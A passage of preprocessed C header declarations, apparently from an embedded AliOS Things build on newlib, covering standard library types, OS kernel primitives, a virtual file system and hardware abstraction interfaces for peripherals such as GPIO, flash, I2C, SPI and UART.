_mbstate_t _mbrlen_state; _mbstate_t _mbrtowc_state; _mbstate_t _mbsrtowcs_state; _mbstate_t _wcrtomb_state; _mbstate_t _wcsrtombs_state; int _h_errno; } _reent; struct { unsigned char * _nextf[30]; unsigned int _nmalloc[30]; } _unused; } _new; struct _atexit *_atexit; struct _atexit _atexit0; void (**(_sig_func))(int); struct _glue __sglue; __FILE __sf[3]; }; extern struct _reent *_impure_ptr ; extern struct _reent *const _global_impure_ptr ; void _reclaim_reent (struct _reent *); typedef __uint8_t u_int8_t; typedef __uint16_t u_int16_t; typedef __uint32_t u_int32_t; typedef __uint64_t u_int64_t; typedef int register_t; typedef unsigned long __sigset_t; typedef __suseconds_t suseconds_t; typedef long time_t; struct timeval { time_t tv_sec; suseconds_t tv_usec; }; struct timespec { time_t tv_sec; long tv_nsec; }; struct itimerspec { struct timespec it_interval; struct timespec it_value; }; typedef __sigset_t sigset_t; typedef unsigned long fd_mask; typedef struct _types_fd_set { fd_mask fds_bits[(((64)+(((sizeof (fd_mask) * 8))-1))/((sizeof (fd_mask) * 8)))]; } _types_fd_set; int select (int __n, _types_fd_set *__readfds, _types_fd_set *__writefds, _types_fd_set *__exceptfds, struct timeval *__timeout) ; int pselect (int __n, _types_fd_set *__readfds, _types_fd_set *__writefds, _types_fd_set *__exceptfds, const struct timespec *__timeout, const sigset_t *__set) ; typedef __uint32_t in_addr_t; typedef __uint16_t in_port_t; typedef unsigned char u_char; typedef unsigned short u_short; typedef unsigned int u_int; typedef unsigned long u_long; typedef unsigned short ushort; typedef unsigned int uint; typedef unsigned long ulong; typedef __blkcnt_t blkcnt_t; typedef __blksize_t blksize_t; typedef unsigned long clock_t; typedef long daddr_t; typedef char * caddr_t; typedef __fsblkcnt_t fsblkcnt_t; typedef __fsfilcnt_t fsfilcnt_t; typedef __id_t id_t; typedef __ino_t ino_t; typedef __off_t off_t; typedef __dev_t dev_t; typedef __uid_t uid_t; typedef __gid_t gid_t; typedef __pid_t pid_t; typedef __key_t key_t; typedef _ssize_t ssize_t; typedef __mode_t mode_t; typedef __nlink_t nlink_t; typedef __clockid_t clockid_t; typedef __timer_t timer_t; typedef __useconds_t useconds_t; typedef __int64_t sbintime_t; struct __locale_t; typedef struct __locale_t *locale_t; struct tm { int tm_sec; int tm_min; int tm_hour; int tm_mday; int tm_mon; int tm_year; int tm_wday; int tm_yday; int tm_isdst; }; clock_t clock (void); double difftime (time_t _time2, time_t _time1); time_t mktime (struct tm *_timeptr); time_t time (time_t *_timer); char *asctime (const struct tm *_tblock); char *ctime (const time_t *_time); struct tm *gmtime (const time_t *_timer); struct tm *localtime (const time_t *_timer); size_t strftime (char *restrict _s, size_t _maxsize, const char *restrict _fmt, const struct tm *restrict _t) ; extern size_t strftime_l (char *restrict _s, size_t _maxsize, const char *restrict _fmt, const struct tm *restrict _t, locale_t _l); char *asctime_r (const struct tm *restrict, char *restrict) ; char *ctime_r (const time_t *, char *); struct tm *gmtime_r (const time_t *restrict, struct tm *restrict) ; struct tm *localtime_r (const time_t *restrict, struct tm *restrict) ; void tzset (void); void _tzset_r (struct _reent *); typedef struct __tzrule_struct { char ch; int m; int n; int d; int s; time_t change; long offset; } __tzrule_type; typedef struct __tzinfo_struct { int __tznorth; int __tzyear; __tzrule_type __tzrule[2]; } __tzinfo_type; __tzinfo_type *__gettzinfo (void); extern long _timezone; extern int _daylight; extern char *_tzname[2]; struct stat { dev_t st_dev; ino_t st_ino; mode_t st_mode; nlink_t st_nlink; uid_t st_uid; gid_t st_gid; dev_t st_rdev; off_t st_size; time_t st_atime; long st_spare1; time_t st_mtime; long st_spare2; time_t st_ctime; long st_spare3; blksize_t st_blksize; blkcnt_t st_blocks; long st_spare4[2]; }; int chmod ( const char *__path, mode_t __mode ); int fchmod (int __fd, mode_t __mode); int fstat ( int __fd, struct stat *__sbuf ); int mkdir ( const char *_path, mode_t __mode ); int mkfifo ( const char *__path, mode_t __mode ); int stat ( const char *restrict __path, struct stat *restrict __sbuf ); mode_t umask ( mode_t __mask ); int fchmodat (int, const char *, mode_t, int); int fstatat (int, const char *restrict , struct stat *restrict, int); int mkdirat (int, const char *, mode_t); int mkfifoat (int, const char *, mode_t); int mknodat (int, const char *, mode_t, dev_t); int utimensat (int, const char *, const struct timespec *, int); int futimens (int, const struct timespec *); extern char **environ; void _exit (int __status ) __attribute__ ((__noreturn__)); int access (const char *__path, int __amode ); unsigned alarm (unsigned __secs ); int chdir (const char *__path ); int chmod (const char *__path, mode_t __mode ); int chown (const char *__path, uid_t __owner, gid_t __group ); int chroot (const char *__path ); int close (int __fildes ); size_t confstr (int __name, char *__buf, size_t __len); int daemon (int nochdir, int noclose); int dup (int __fildes ); int dup2 (int __fildes, int __fildes2 ); void endusershell (void); int execl (const char *__path, const char *, ... ); int execle (const char *__path, const char *, ... ); int execlp (const char *__file, const char *, ... ); int execlpe (const char *__file, const char *, ... ); int execv (const char *__path, char * const __argv[] ); int execve (const char *__path, char * const __argv[], char * const __envp[] ); int execvp (const char *__file, char * const __argv[] ); int faccessat (int __dirfd, const char *__path, int __mode, int __flags); int fchdir (int __fildes); int fchmod (int __fildes, mode_t __mode ); int fchown (int __fildes, uid_t __owner, gid_t __group ); int fchownat (int __dirfd, const char *__path, uid_t __owner, gid_t __group, int __flags); int fexecve (int __fd, char * const __argv[], char * const __envp[] ); pid_t fork (void ); long fpathconf (int __fd, int __name ); int fsync (int __fd); int fdatasync (int __fd); char * getcwd (char *__buf, size_t __size ); int getdomainname (char *__name, size_t __len); int getentropy (void *, size_t); gid_t getegid (void ); uid_t geteuid (void ); gid_t getgid (void ); int getgroups (int __gidsetsize, gid_t __grouplist[] ); long gethostid (void); char * getlogin (void ); char * getpass (const char *__prompt); int getpagesize (void); int getpeereid (int, uid_t *, gid_t *); pid_t getpgid (pid_t); pid_t getpgrp (void ); pid_t getpid (void ); pid_t getppid (void ); pid_t getsid (pid_t); uid_t getuid (void ); char * getusershell (void); char * getwd (char *__buf ); int iruserok (unsigned long raddr, int superuser, const char *ruser, const char *luser); int isatty (int __fildes ); int issetugid (void); int lchown (const char *__path, uid_t __owner, gid_t __group ); int link (const char *__path1, const char *__path2 ); int linkat (int __dirfd1, const char *__path1, int __dirfd2, const char *__path2, int __flags ); int nice (int __nice_value ); off_t lseek (int __fildes, off_t __offset, int __whence ); int lockf (int __fd, int __cmd, off_t __len); long pathconf (const char *__path, int __name ); int pause (void ); int pthread_atfork (void (*)(void), void (*)(void), void (*)(void)); int pipe (int __fildes[2] ); ssize_t pread (int __fd, void *__buf, size_t __nbytes, off_t __offset); ssize_t pwrite (int __fd, const void *__buf, size_t __nbytes, off_t __offset); int read (int __fd, void *__buf, size_t __nbyte ); int rresvport (int *__alport); int revoke (char *__path); int rmdir (const char *__path ); int ruserok (const char *rhost, int superuser, const char *ruser, const char *luser); void * sbrk (ptrdiff_t __incr); int setegid (gid_t __gid ); int seteuid (uid_t __uid ); int setgid (gid_t __gid ); int setgroups (int ngroups, const gid_t *grouplist ); int sethostname (const char *, size_t); int setpgid (pid_t __pid, pid_t __pgid ); int setpgrp (void ); int setregid (gid_t __rgid, gid_t __egid); int setreuid (uid_t __ruid, uid_t __euid); pid_t setsid (void ); int setuid (uid_t __uid ); void setusershell (void); unsigned sleep (unsigned int __seconds ); void swab (const void *restrict, void *restrict, ssize_t); long sysconf (int __name ); pid_t tcgetpgrp (int __fildes ); int tcsetpgrp (int __fildes, pid_t __pgrp_id ); char * ttyname (int __fildes ); int ttyname_r (int, char *, size_t); int unlink (const char *__path ); int usleep (useconds_t __useconds); int vhangup (void ); int write (int __fd, const void *__buf, size_t __nbyte ); extern char *optarg; extern int optind, opterr, optopt; int getopt(int, char * const [], const char *); extern int optreset; pid_t vfork (void ); int ftruncate (int __fd, off_t __length); int truncate (const char *, off_t __length); ssize_t readlink (const char *restrict __path, char *restrict __buf, size_t __buflen) ; int symlink (const char *__name1, const char *__name2); ssize_t readlinkat (int __dirfd1, const char *restrict __path, char *restrict __buf, size_t __buflen) ; int symlinkat (const char *, int, const char *); int unlinkat (int, const char *, int); struct flock { short l_type; short l_whence; long l_start; long l_len; short l_pid; short l_xxx; }; struct eflock { short l_type; short l_whence; long l_start; long l_len; short l_pid; short l_xxx; long l_rpid; long l_rsys; }; extern int open (const char *, int, ...); extern int openat (int, const char *, int, ...); extern int creat (const char *, mode_t); extern int fcntl (int, int, ...); extern int flock (int, int); struct pollfd { int fd; short events; short revents; }; typedef void (*FUNCPTR)(void); struct cli_command { const char *name; const char *help; void (*function)(char *pcWriteBuffer, int xWriteBufferLen, int argc, char **argv); }; struct cli_st { int initialized; int echo_disabled; const struct cli_command *commands[64]; unsigned int num_commands; unsigned int bp; char inbuf[256]; char outbuf[2048]; int his_idx; int his_cur; char history[5][256]; }; int aos_cli_register_command(const struct cli_command *command); int aos_cli_unregister_command(const struct cli_command *command); int aos_cli_register_commands(const struct cli_command *commands, int num_commands); int aos_cli_unregister_commands(const struct cli_command *commands, int num_commands); int aos_cli_printf(const char *buff, ...); int aos_cli_init(void); int aos_cli_stop(void); const char *aos_cli_get_tag(void); enum { CLOUD_CONNECTED, CLOUD_DISCONNECTED, GET_DEVICE_STATUS, SET_DEVICE_STATUS, GET_DEVICE_RAWDATA, SET_DEVICE_RAWDATA, UPGRADE_DEVICE, CANCEL_UPGRADE_DEVICE, GET_SUB_DEVICE_STATUS, SET_SUB_DEVICE_STATUS, MAX_EVENT_TYPE, }; typedef void (*aos_cloud_cb_t)(int event, const char *json_buffer); int aos_cloud_register_callback(int cb_type, aos_cloud_cb_t cb); int aos_cloud_report(const char *method, const char *json_buffer, void (*done_cb)(void *), void *arg); void aos_cloud_trigger(int cb_type, const char *json_buffer); void aos_cloud_register_backend(int (*report)(const char *method, const char *json_buffer)); typedef struct { void *hdl; } aos_hdl_t; typedef aos_hdl_t aos_task_t; typedef aos_hdl_t aos_mutex_t; typedef aos_hdl_t aos_sem_t; typedef aos_hdl_t aos_queue_t; typedef aos_hdl_t aos_timer_t; typedef aos_hdl_t aos_work_t; typedef aos_hdl_t aos_event_t; typedef struct { void *hdl; void *stk; } aos_workqueue_t; typedef unsigned int aos_task_key_t; void aos_reboot(void); int aos_get_hz(void); const char *aos_version_get(void); int aos_task_new(const char *name, void (*fn)(void *), void *arg, int stack_size); int aos_task_new_ext(aos_task_t *task, const char *name, void (*fn)(void *), void *arg, int stack_size, int prio); void aos_task_exit(int code); const char *aos_task_name(void); int aos_task_key_create(aos_task_key_t *key); void aos_task_key_delete(aos_task_key_t key); int aos_task_setspecific(aos_task_key_t key, void *vp); void *aos_task_getspecific(aos_task_key_t key); int aos_mutex_new(aos_mutex_t *mutex); void aos_mutex_free(aos_mutex_t *mutex); int aos_mutex_lock(aos_mutex_t *mutex, unsigned int timeout); int aos_mutex_unlock(aos_mutex_t *mutex); int aos_mutex_is_valid(aos_mutex_t *mutex); int aos_sem_new(aos_sem_t *sem, int count); void aos_sem_free(aos_sem_t *sem); int aos_sem_wait(aos_sem_t *sem, unsigned int timeout); void aos_sem_signal(aos_sem_t *sem); int aos_sem_is_valid(aos_sem_t *sem); void aos_sem_signal_all(aos_sem_t *sem); int aos_event_new(aos_event_t *event, unsigned int flags); void aos_event_free(aos_event_t *event); int aos_event_get(aos_event_t *event, unsigned int flags, unsigned char opt, unsigned int *actl_flags, unsigned int timeout); int aos_event_set(aos_event_t *event, unsigned int flags, unsigned char opt); int aos_queue_new(aos_queue_t *queue, void *buf, unsigned int size, int max_msg); void aos_queue_free(aos_queue_t *queue); int aos_queue_send(aos_queue_t *queue, void *msg, unsigned int size); int aos_queue_recv(aos_queue_t *queue, unsigned int ms, void *msg, unsigned int *size); int aos_queue_is_valid(aos_queue_t *queue); void *aos_queue_buf_ptr(aos_queue_t *queue); int aos_timer_new(aos_timer_t *timer, void (*fn)(void *, void *), void *arg, int ms, int repeat); int aos_timer_new_ext(aos_timer_t *timer, void (*fn)(void *, void *), void *arg, int ms, int repeat, unsigned char auto_run); void aos_timer_free(aos_timer_t *timer); int aos_timer_start(aos_timer_t *timer); int aos_timer_stop(aos_timer_t *timer); int aos_timer_change(aos_timer_t *timer, int ms); int aos_workqueue_create(aos_workqueue_t *workqueue, int pri, int stack_size); int aos_work_init(aos_work_t *work, void (*fn)(void *), void *arg, int dly); void aos_work_destroy(aos_work_t *work); int aos_work_run(aos_workqueue_t *workqueue, aos_work_t *work); int aos_work_sched(aos_work_t *work); int aos_work_cancel(aos_work_t *work); void *aos_realloc(void *mem, unsigned int size); void *aos_malloc(unsigned int size); void *aos_zalloc(unsigned int size); void aos_alloc_trace(void *addr, size_t allocator); void aos_free(void *mem); long long aos_now(void); long long aos_now_ms(void); void aos_msleep(int ms); void aos_init(void); void aos_start(void); int aos_kv_set(const char *key, const void *value, int len, int sync); int aos_kv_get(const char *key, void *buffer, int *buffer_len); int aos_kv_del(const char *key); typedef struct dlist_s { struct dlist_s *prev; struct dlist_s *next; } dlist_t; static inline void __dlist_add(dlist_t *node, dlist_t *prev, dlist_t *next) { node->next = next; node->prev = prev; prev->next = node; next->prev = node; } static inline void dlist_add(dlist_t *node, dlist_t *queue) { __dlist_add(node, queue, queue->next); } static inline void dlist_add_tail(dlist_t *node, dlist_t *queue) { __dlist_add(node, queue->prev, queue); } static inline void dlist_del(dlist_t *node) { dlist_t *prev = node->prev; dlist_t *next = node->next; prev->next = next; next->prev = prev; } static inline void dlist_init(dlist_t *node) { node->next = node->prev = node; } static inline void INIT_AOS_DLIST_HEAD(dlist_t *list) { list->next = list; list->prev = list; } static inline int dlist_empty(const dlist_t *head) { return head->next == head; } static inline int dlist_entry_number(dlist_t *queue) { int num; dlist_t *cur = queue; for (num=0;cur->next != queue;cur=cur->next, num++) ; return num; } typedef struct slist_s { struct slist_s *next; } slist_t; static inline void slist_add(slist_t *node, slist_t *head) { node->next = head->next; head->next = node; } static inline void slist_add_tail(slist_t *node, slist_t *head) { while (head->next) { head = head->next; } slist_add(node, head); } static inline void slist_del(slist_t *node, slist_t *head) { while (head->next) { if (head->next == node) { head->next = node->next; break; } head = head->next; } } static inline int slist_empty(const slist_t *head) { return !head->next; } static inline void slist_init(slist_t *head) { head->next = 0; } static inline int slist_entry_number(slist_t *queue) { int num; slist_t *cur = queue; for (num=0;cur->next;cur=cur->next, num++) ; return num; } extern unsigned int aos_log_level; static inline unsigned int aos_log_get_level(void) { return aos_log_level; } enum log_level_bit { AOS_LL_V_NONE_BIT = -1, AOS_LL_V_FATAL_BIT, AOS_LL_V_ERROR_BIT, AOS_LL_V_WARN_BIT, AOS_LL_V_INFO_BIT, AOS_LL_V_DEBUG_BIT, AOS_LL_V_MAX_BIT }; extern int csp_printf(const char *fmt, ...); int csp_printf(const char *fmt, ...); typedef enum { AOS_LL_NONE, AOS_LL_FATAL, AOS_LL_ERROR, AOS_LL_WARN, AOS_LL_INFO, AOS_LL_DEBUG, } aos_log_level_t; extern unsigned int aos_log_level; static inline int aos_get_log_level(void) { return aos_log_level; } void aos_set_log_level(aos_log_level_t log_level); typedef struct { int d_ino; uint8_t d_type; char d_name[]; } aos_dirent_t; typedef struct { int dd_vfs_fd; int dd_rsv; } aos_dir_t; int aos_open(const char *path, int flags); int aos_close(int fd); ssize_t aos_read(int fd, void *buf, size_t nbytes); ssize_t aos_write(int fd, const void *buf, size_t nbytes); int aos_ioctl(int fd, int cmd, unsigned long arg); int aos_poll(struct pollfd *fds, int nfds, int timeout); int aos_fcntl(int fd, int cmd, int val); off_t aos_lseek(int fd, off_t offset, int whence); int aos_sync(int fd); int aos_stat(const char *path, struct stat *st); int aos_unlink(const char *path); int aos_rename(const char *oldpath, const char *newpath); aos_dir_t *aos_opendir(const char *path); int aos_closedir(aos_dir_t *dir); aos_dirent_t *aos_readdir(aos_dir_t *dir); int aos_mkdir(const char *path); const char *aos_get_product_model(void); const char *aos_get_os_version(void); const char *aos_get_kernel_version(void); const char *aos_get_app_version(void); const char *aos_get_device_name(void); void dump_sys_info(void); typedef struct { uint32_t time; uint16_t type; uint16_t code; unsigned long value; unsigned long extra; } input_event_t; typedef void (*aos_event_cb)(input_event_t *event, void *private_data); typedef void (*aos_call_t)(void *arg); typedef void (*aos_poll_call_t)(int fd, void *arg); int aos_register_event_filter(uint16_t type, aos_event_cb cb, void *priv); int aos_unregister_event_filter(uint16_t type, aos_event_cb cb, void *priv); int aos_post_event(uint16_t type, uint16_t code, unsigned long value); int aos_poll_read_fd(int fd, aos_poll_call_t action, void *param); void aos_cancel_poll_read_fd(int fd, aos_poll_call_t action, void *param); int aos_post_delayed_action(int ms, aos_call_t action, void *arg); void aos_cancel_delayed_action(int ms, aos_call_t action, void *arg); int aos_schedule_call(aos_call_t action, void *arg); typedef void *aos_loop_t; aos_loop_t aos_loop_init(void); aos_loop_t aos_current_loop(void); void aos_loop_run(void); void aos_loop_exit(void); void aos_loop_destroy(void); int aos_loop_schedule_call(aos_loop_t *loop, aos_call_t action, void *arg); void *aos_loop_schedule_work(int ms, aos_call_t action, void *arg1, aos_call_t fini_cb, void *arg2); void aos_cancel_work(void *work, aos_call_t action, void *arg1); extern int *__errno(void); typedef struct { int argc; char **argv; _Bool cli_enable; } kinit_t; extern int aos_kernel_init(kinit_t *kinit); enum { VFS_TYPE_NOT_INIT, VFS_TYPE_CHAR_DEV, VFS_TYPE_BLOCK_DEV, VFS_TYPE_FS_DEV }; typedef const struct file_ops file_ops_t; typedef const struct fs_ops fs_ops_t; union inode_ops_t { const file_ops_t *i_ops; const fs_ops_t *i_fops; }; typedef struct { union inode_ops_t ops; void *i_arg; char *i_name; int i_flags; uint8_t type; uint8_t refs; aos_mutex_t mutex; } inode_t; typedef struct { inode_t *node; void *f_arg; size_t offset; } file_t; struct pollfd; typedef void (*poll_notify_t)(struct pollfd *fd, void *arg); struct file_ops { int (*open) (inode_t *node, file_t *fp); int (*close) (file_t *fp); ssize_t (*read) (file_t *fp, void *buf, size_t nbytes); ssize_t (*write) (file_t *fp, const void *buf, size_t nbytes); int (*ioctl) (file_t *fp, int cmd, unsigned long arg); }; struct fs_ops { int (*open) (file_t *fp, const char *path, int flags); int (*close) (file_t *fp); ssize_t (*read) (file_t *fp, char *buf, size_t len); ssize_t (*write) (file_t *fp, const char *buf, size_t len); off_t (*lseek) (file_t *fp, off_t off, int whence); int (*sync) (file_t *fp); int (*stat) (file_t *fp, const char *path, struct stat *st); int (*unlink) (file_t *fp, const char *path); int (*rename) (file_t *fp, const char *oldpath, const char *newpath); aos_dir_t *(*opendir) (file_t *fp, const char *path); aos_dirent_t *(*readdir) (file_t *fp, aos_dir_t *dir); int (*closedir) (file_t *fp, aos_dir_t *dir); int (*mkdir) (file_t *fp, const char *path); int (*ioctl) (file_t *fp, int cmd, unsigned long arg); }; int inode_init(void); int inode_alloc(void); int inode_del(inode_t *node); inode_t *inode_open(const char *path); int inode_ptr_get(int fd, inode_t **node); int inode_avail_count(void); void inode_ref(inode_t *); void inode_unref(inode_t *); int inode_busy(inode_t *); int inode_reserve(const char *path, inode_t **inode); int inode_release(const char *path); extern const struct file_ops gpio_ops; int vfs_gpio_open(inode_t *inode, file_t *fp); int vfs_gpio_close(file_t *fp); ssize_t vfs_gpio_read(file_t *fp, void *buf, size_t nbytes); int vfs_gpio_ioctl(file_t *fp, int cmd, unsigned long arg); typedef struct { uint32_t sampling_cycle; } adc_config_t; typedef struct { uint8_t port; adc_config_t config; void *priv; } adc_dev_t; int32_t hal_adc_init(adc_dev_t *adc); int32_t hal_adc_value_get(adc_dev_t *adc, void *output, uint32_t timeout); int32_t hal_adc_finalize(adc_dev_t *adc); typedef enum { HAL_PARTITION_ERROR = -1, HAL_PARTITION_BOOTLOADER, HAL_PARTITION_APPLICATION, HAL_PARTITION_ATE, HAL_PARTITION_OTA_TEMP, HAL_PARTITION_RF_FIRMWARE, HAL_PARTITION_PARAMETER_1, HAL_PARTITION_PARAMETER_2, HAL_PARTITION_PARAMETER_3, HAL_PARTITION_PARAMETER_4, HAL_PARTITION_BT_FIRMWARE, HAL_PARTITION_SPIFFS, HAL_PARTITION_CUSTOM_1, HAL_PARTITION_CUSTOM_2, HAL_PARTITION_MAX, HAL_PARTITION_NONE, } hal_partition_t; typedef enum { HAL_FLASH_EMBEDDED, HAL_FLASH_SPI, HAL_FLASH_QSPI, HAL_FLASH_MAX, HAL_FLASH_NONE, } hal_flash_t; typedef struct { hal_flash_t partition_owner; const char *partition_description; uint32_t partition_start_addr; uint32_t partition_length; uint32_t partition_options; } hal_logic_partition_t; hal_logic_partition_t *hal_flash_get_info(hal_partition_t in_partition); int32_t hal_flash_erase(hal_partition_t in_partition, uint32_t off_set, uint32_t size); int32_t hal_flash_write(hal_partition_t in_partition, uint32_t *off_set, const void *in_buf, uint32_t in_buf_len); int32_t hal_flash_erase_write(hal_partition_t in_partition, uint32_t *off_set, const void *in_buf, uint32_t in_buf_len); int32_t hal_flash_read(hal_partition_t in_partition, uint32_t *off_set, void *out_buf, uint32_t in_buf_len); int32_t hal_flash_enable_secure(hal_partition_t partition, uint32_t off_set, uint32_t size); int32_t hal_flash_dis_secure(hal_partition_t partition, uint32_t off_set, uint32_t size); typedef enum { ANALOG_MODE, IRQ_MODE, INPUT_PULL_UP, INPUT_PULL_DOWN, INPUT_HIGH_IMPEDANCE, OUTPUT_PUSH_PULL, OUTPUT_OPEN_DRAIN_NO_PULL, OUTPUT_OPEN_DRAIN_PULL_UP, } gpio_config_t; typedef struct { uint8_t port; gpio_config_t config; void *priv; } gpio_dev_t; typedef enum { IRQ_TRIGGER_RISING_EDGE = 0x1, IRQ_TRIGGER_FALLING_EDGE = 0x2, IRQ_TRIGGER_BOTH_EDGES = IRQ_TRIGGER_RISING_EDGE | IRQ_TRIGGER_FALLING_EDGE, } gpio_irq_trigger_t; typedef void (*gpio_irq_handler_t)(void *arg); int32_t hal_gpio_init(gpio_dev_t *gpio); int32_t hal_gpio_output_high(gpio_dev_t *gpio); int32_t hal_gpio_output_low(gpio_dev_t *gpio); int32_t hal_gpio_output_toggle(gpio_dev_t *gpio); int32_t hal_gpio_input_get(gpio_dev_t *gpio, uint32_t *value); int32_t hal_gpio_enable_irq(gpio_dev_t *gpio, gpio_irq_trigger_t trigger, gpio_irq_handler_t handler, void *arg); int32_t hal_gpio_disable_irq(gpio_dev_t *gpio); int32_t hal_gpio_clear_irq(gpio_dev_t *gpio); int32_t hal_gpio_finalize(gpio_dev_t *gpio); typedef struct { uint32_t address_width; uint32_t freq; uint8_t mode; uint16_t dev_addr; } i2c_config_t; typedef struct { uint8_t port; i2c_config_t config; void *priv; } i2c_dev_t; int32_t hal_i2c_init(i2c_dev_t *i2c); int32_t hal_i2c_master_send(i2c_dev_t *i2c, uint16_t dev_addr, const uint8_t *data, uint16_t size, uint32_t timeout); int32_t hal_i2c_master_recv(i2c_dev_t *i2c, uint16_t dev_addr, uint8_t *data, uint16_t size, uint32_t timeout); int32_t hal_i2c_slave_send(i2c_dev_t *i2c, const uint8_t *data, uint16_t size, uint32_t timeout); int32_t hal_i2c_slave_recv(i2c_dev_t *i2c, uint8_t *data, uint16_t size, uint32_t timeout); int32_t hal_i2c_mem_write(i2c_dev_t *i2c, uint16_t dev_addr, uint16_t mem_addr, uint16_t mem_addr_size, const uint8_t *data, uint16_t size, uint32_t timeout); int32_t hal_i2c_mem_read(i2c_dev_t *i2c, uint16_t dev_addr, uint16_t mem_addr, uint16_t mem_addr_size, uint8_t *data, uint16_t size, uint32_t timeout); int32_t hal_i2c_finalize(i2c_dev_t *i2c); typedef struct { uint32_t page_size; uint32_t spare_area_size; uint32_t block_size; uint32_t zone_size; uint32_t zone_number; } nand_config_t; typedef struct { uint16_t page; uint16_t block; uint16_t zone; } nand_addr_t; typedef struct { uint32_t base_addr; nand_config_t config; void *priv; } nand_dev_t; int32_t hal_nand_init(nand_dev_t *nand); int32_t hal_nand_finalize(nand_dev_t *nand); int32_t hal_nand_read_page(nand_dev_t *nand, nand_addr_t *addr, uint8_t *data, uint32_t page_count); int32_t hal_nand_write_page(nand_dev_t *nand, nand_addr_t *addr, uint8_t *data, uint32_t page_count); int32_t hal_nand_read_spare(nand_dev_t *nand, nand_addr_t *addr, uint8_t *data, uint32_t data_len); int32_t hal_nand_write_spare(nand_dev_t *nand, nand_addr_t *addr, uint8_t *data, uint32_t data_len); int32_t hal_nand_erase_block(nand_dev_t *nand, nand_addr_t *addr); typedef struct { uint32_t block_size; uint32_t chip_size; } nor_config_t; typedef struct { uint32_t base_addr; nor_config_t config; void *priv; } nor_dev_t; int32_t hal_nor_init(nor_dev_t *nor); int32_t hal_nor_finalize(nor_dev_t *nor); int32_t hal_nor_read(nor_dev_t *nor, uint32_t *addr, uint8_t *data, uint32_t len); int32_t hal_nor_write(nor_dev_t *nor, uint32_t *addr, uint8_t *data, uint32_t len); int32_t hal_nor_erase_block(nor_dev_t *nor, uint32_t *addr, uint32_t block_count); int32_t hal_nor_erase_chip(nor_dev_t *nor, uint32_t *addr); typedef struct { float duty_cycle; uint32_t freq; } pwm_config_t; typedef struct { uint8_t port; pwm_config_t config; void *priv; } pwm_dev_t; int32_t hal_pwm_init(pwm_dev_t *pwm); int32_t hal_pwm_start(pwm_dev_t *pwm); int32_t hal_pwm_stop(pwm_dev_t *pwm); int32_t hal_pwm_finalize(pwm_dev_t *pwm); typedef struct { uint32_t freq; } qspi_config_t; typedef struct { uint8_t port; qspi_config_t config; void *priv; } qspi_dev_t; typedef struct { uint32_t instruction; uint32_t address; uint32_t size; } qspi_cmd_t; int32_t hal_qspi_init(qspi_dev_t *qspi); int32_t hal_qspi_send(qspi_dev_t *qspi, const uint8_t *data, uint32_t timeout); int32_t hal_qspi_recv(qspi_dev_t *qspi, uint8_t *data, uint32_t timeout); int32_t hal_qspi_command(qspi_dev_t *qspi, qspi_cmd_t *cmd, uint32_t timeout); int32_t hal_qspi_auto_polling(qspi_dev_t *qspi, uint32_t cmd, uint32_t timeout); int32_t hal_qspi_finalize(qspi_dev_t *qspi); typedef struct { uint8_t port; void *priv; } random_dev_t; int32_t hal_random_num_read(random_dev_t random, void *buf, int32_t bytes); typedef struct { uint8_t format; } rtc_config_t; typedef struct { uint8_t port; rtc_config_t config; void *priv; } rtc_dev_t; typedef struct { uint8_t sec; uint8_t min; uint8_t hr; uint8_t weekday; uint8_t date; uint8_t month; uint8_t year; } rtc_time_t; int32_t hal_rtc_init(rtc_dev_t *rtc); int32_t hal_rtc_get_time(rtc_dev_t *rtc, rtc_time_t *time); int32_t hal_rtc_set_time(rtc_dev_t *rtc, const rtc_time_t *time); int32_t hal_rtc_finalize(rtc_dev_t *rtc); typedef enum { SD_STAT_RESET, SD_STAT_READY, SD_STAT_TIMEOUT, SD_STAT_BUSY, SD_STAT_PROGRAMMING, SD_STAT_RECEIVING, SD_STAT_TRANSFER, SD_STAT_ERR } hal_sd_stat; typedef struct { uint32_t blk_nums; uint32_t blk_size; } hal_sd_info_t; typedef struct { uint32_t bus_wide; uint32_t freq; } sd_config_t; typedef struct { uint8_t port; sd_config_t config; void *priv; } sd_dev_t; int32_t hal_sd_init(sd_dev_t *sd); int32_t hal_sd_blks_read(sd_dev_t *sd, uint8_t *data, uint32_t blk_addr, uint32_t blks, uint32_t timeout); int32_t hal_sd_blks_write(sd_dev_t *sd, uint8_t *data, uint32_t blk_addr, uint32_t blks, uint32_t timeout); int32_t hal_sd_erase(sd_dev_t *sd, uint32_t blk_start_addr, uint32_t blk_end_addr); int32_t hal_sd_stat_get(sd_dev_t *sd, hal_sd_stat *stat); int32_t hal_sd_info_get(sd_dev_t *sd, hal_sd_info_t *info); int32_t hal_sd_finalize(sd_dev_t *sd); typedef struct { uint32_t mode; uint32_t freq; } spi_config_t; typedef struct { uint8_t port; spi_config_t config; void *priv; } spi_dev_t; int32_t hal_spi_init(spi_dev_t *spi); int32_t hal_spi_send(spi_dev_t *spi, const uint8_t *data, uint16_t size, uint32_t timeout); int32_t hal_spi_recv(spi_dev_t *spi, uint8_t *data, uint16_t size, uint32_t timeout); int32_t hal_spi_send_recv(spi_dev_t *spi, uint8_t *tx_data, uint8_t *rx_data, uint16_t size, uint32_t timeout); int32_t hal_spi_finalize(spi_dev_t *spi); typedef void (*hal_timer_cb_t)(void *arg); typedef struct { uint32_t period; uint8_t reload_mode; hal_timer_cb_t cb; void *arg; } timer_config_t; typedef struct { int8_t port; timer_config_t config; void *priv; } timer_dev_t; int32_t hal_timer_init(timer_dev_t *tim); int32_t hal_timer_start(timer_dev_t *tim); void hal_timer_stop(timer_dev_t *tim); int32_t hal_timer_finalize(timer_dev_t *tim); typedef enum { DATA_WIDTH_5BIT, DATA_WIDTH_6BIT, DATA_WIDTH_7BIT, DATA_WIDTH_8BIT, DATA_WIDTH_9BIT } hal_uart_data_width_t; typedef enum { STOP_BITS_1, STOP_BITS_2 } hal_uart_stop_bits_t; typedef enum { FLOW_CONTROL_DISABLED, FLOW_CONTROL_CTS, FLOW_CONTROL_RTS, FLOW_CONTROL_CTS_RTS } hal_uart_flow_control_t; typedef enum { NO_PARITY, ODD_PARITY, EVEN_PARITY } hal_uart_parity_t; typedef enum { MODE_TX, MODE_RX, MODE_TX_RX } hal_uart_mode_t; typedef struct { uint32_t baud_rate; hal_uart_data_width_t data_width; hal_uart_parity_t parity; hal_uart_stop_bits_t stop_bits; hal_uart_flow_control_t flow_control; hal_uart_mode_t mode; } uart_config_t; typedef struct { uint8_t port; uart_config_t config; void *priv; } uart_dev_t; int32_t hal_uart_init(uart_dev_t *uart); int32_t hal_uart_send(uart_dev_t *uart, const void *data, uint32_t size, uint32_t timeout); int32_t hal_uart_recv(uart_dev_t *uart, void *data, uint32_t expect_size, uint32_t timeout); int32_t 